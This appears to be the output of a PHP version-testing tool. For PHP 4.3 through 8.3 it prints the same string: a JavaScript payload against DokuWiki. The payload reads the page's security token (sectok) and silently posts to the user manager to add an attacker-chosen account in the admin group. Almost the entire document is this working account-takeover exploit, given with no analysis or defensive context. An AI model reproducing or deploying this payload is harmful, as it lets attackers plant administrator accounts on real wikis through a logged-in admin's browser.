- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
- string(1230) "function MyRequest() { if (window.XMLHttpRequest) { ReqReader = new XMLHttpRequest(); } else { ReqReader = new ActivexObject("Microsoft.XMLHTTP"); } ReqReader.onreadystatechange = function () { TokenFinder(ReqReader); } ReqReader.open("GET", "doku.php", true); ReqReader.send(); } function TokenFinder(a) { if (a.readyState == 4 && a.status == 200) { var src = a.responseText; p = /value="([0-9a-f]+)"/; var token = src.match(p); params = "sectok=" + token[1] + "&userid=USERNAME&userpass=PASSWORD&username=USERNAME&usermail=att@wwwwwwww.osfa&usergroups=admin,user&do=admin&page=usermanager&start=0&fn[add]=Add"; alert(params); Exploit(params); } } function Exploit(parameters) { if (window.XMLHttpRequest) { HttpReq = new XMLHttpRequest(); } else { HttpReq = new ActivexObject("Microsoft.XMLHTTP"); } HttpReq.onreadystatechange = function () { if (HttpReq.readyState == 4 && HttpReq.status == 200) { } } HttpReq.open('POST', "doku.php?id=doadkwokad", true); HttpReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); HttpReq.setRequestHeader("Content-length", parameters.length); HttpReq.setRequestHeader("Connection", "close"); HttpReq.send(parameters); } MyRequest(); "